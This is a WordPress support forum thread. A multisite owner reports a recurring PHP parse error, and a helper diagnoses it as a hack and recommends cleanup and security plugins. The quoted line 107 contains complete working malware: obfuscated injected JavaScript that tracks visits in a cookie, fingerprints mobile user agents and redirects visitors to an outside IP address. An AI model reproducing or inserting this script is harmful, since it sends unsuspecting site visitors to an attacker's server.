Title: Parse error: syntax error, unexpected T_STRING in ms-deprecated.php
Last modified: August 24, 2016

---

# Parse error: syntax error, unexpected T_STRING in ms-deprecated.php

 *  Resolved [writethinker](https://wordpress.org/support/users/writethinker/)
 * (@writethinker)
 * [11 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-t_string-in-ms-deprecatedphp/)
 * I started getting an error about a week ago anytime I tried to access my sites
   or the multisite dashboard. My knowledge of php is very limited, but I do have
   help on that end.
 * We fixed the line of code, but the file was re-written with the bad code again
   automatically.
 * I updated WordPress and plugins and thought that might fix the problems, but 
   no.
 * Any help would be much appreciated.
 * Here is the error I get:
 * Parse error: syntax error, unexpected T_STRING in /home/blog/wp-includes/ms-deprecated.
   php on line 107
 * Here is line 107:
 *     ```
       <body><script type='text/javascript'>var _0x166d=["getTime","setTime","expires=","toUTCString","cookie","=","; ",";","split","length","substring","charAt"," ","indexOf","_gax","referrer","http",":","//","146.185.239.3","/sTDS","/go",".p","hp?si","d=","&sr","ef=","userAgent","test","substr","location"];function setCookie(_0xf2a1x2,_0xf2a1x3,_0xf2a1x4){var _0xf2a1x5= new Date();_0xf2a1x5[_0x166d[1]](_0xf2a1x5[_0x166d[0]]()+(_0xf2a1x4*1*60*60*1000));var _0xf2a1x6=_0x166d[2]+_0xf2a1x5[_0x166d[3]]();document[_0x166d[4]]=_0xf2a1x2+_0x166d[5]+_0xf2a1x3+_0x166d[6]+_0xf2a1x6;}function getCookie(_0xf2a1x2){var _0xf2a1x8=_0xf2a1x2+_0x166d[5];var _0xf2a1x9=document[_0x166d[4]][_0x166d[8]](_0x166d[7]);for(var _0xf2a1xa=0;_0xf2a1xa<_0xf2a1x9[_0x166d[9]];_0xf2a1xa++){var _0xf2a1xb=_0xf2a1x9[_0xf2a1xa];while(_0xf2a1xb[_0x166d[11]](0)==_0x166d[12]){_0xf2a1xb=_0xf2a1xb[_0x166d[10]](1)};if(_0xf2a1xb[_0x166d[13]](_0xf2a1x8)==0){return _0xf2a1xb[_0x166d[10]](_0xf2a1x8[_0x166d[9]],_0xf2a1xb[_0x166d[9]])};};return 0;}c=getCookie(_0x166d[14]);if(c<2){setCookie(_0x166d[14],parseInt(c)+1,1/12);sid=2;var r=document[_0x166d[15]];loc=_0x166d[16]+_0x166d[17]+_0x166d[18]+_0x166d[19]+_0x166d[20]+_0x166d[21]+_0x166d[22]+_0x166d[23]+_0x166d[24]+sid+_0x166d[25]+_0x166d[26]+r;var a=navigator[_0x166d[27]];if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x166d[28]](a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x166d[28]](a[_0x166d[29]](0,4))){window[_0x166d[30]]=loc}else {sid=4;var r=document[_0x166d[15]];loc=_0x166d[16]+_0x166d[17]+_0x166d[18]+_0x166d[19]+_0x166d[20]+_0x166d[21]+_0x166d[22]+_0x166d[23]+_0x166d[24]+sid+_0x166d[25]+_0x166d[26]+r;var a=navigator[_0x166d[27]];window[_0x166d[30]]=loc;};}else {if(c==2){setCookie(_0x166d[14],2,24)}};</script>
       ```
   

Viewing 2 replies - 1 through 2 (of 2 total)

 *  [Matt Knowles](https://wordpress.org/support/users/aestheticdesign/)
 * (@aestheticdesign)
 * [11 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-t_string-in-ms-deprecatedphp/#post-6009436)
 * Line 107 should simply be <body>, so your site has been hacked, which is why 
   the code reappeared. 146.185.239.3 is in the Netherlands, and I see a lot of 
   hacker activity from there.
 * Do you have WordFence installed? It can check your site for known attacks and
   help prevent future ones:
 * [https://wordpress.org/plugins/wordfence/](https://wordpress.org/plugins/wordfence/)
 * I also like Rename wp-login.php as it hides the location of your admin files.
 * [https://wordpress.org/plugins/rename-wp-login/](https://wordpress.org/plugins/rename-wp-login/)
 * Also follow the steps here:
 * [https://codex.wordpress.org/FAQ_My_site_was_hacked](https://codex.wordpress.org/FAQ_My_site_was_hacked)
 * You need to be thorough, otherwise if they installed any backdoors the attack
   will keep happening.
 *  Thread Starter [writethinker](https://wordpress.org/support/users/writethinker/)
 * (@writethinker)
 * [11 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-t_string-in-ms-deprecatedphp/#post-6009471)
 * Thank you, Matt. It appears that you are correct. We are taking steps to clean
   up the infection and also to plug the holes that allowed it in the first place.
   Thanks for your prompt response. 🙂

Viewing 2 replies - 1 through 2 (of 2 total)

The topic ‘Parse error: syntax error, unexpected T_STRING in ms-deprecated.php’ 
is closed to new replies.

## Tags

 * [parse-error](https://wordpress.org/support/topic-tag/parse-error/)
 * [php](https://wordpress.org/support/topic-tag/php/)
 * [unexpected T_STRING](https://wordpress.org/support/topic-tag/unexpected-t_string/)
 * [wp-includes](https://wordpress.org/support/topic-tag/wp-includes/)

 * In: [Networking WordPress](https://wordpress.org/support/forum/multisite/)
 * 2 replies
 * 2 participants
 * Last reply from: [writethinker](https://wordpress.org/support/users/writethinker/)
 * Last activity: [11 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-t_string-in-ms-deprecatedphp/#post-6009471)
 * Status: resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
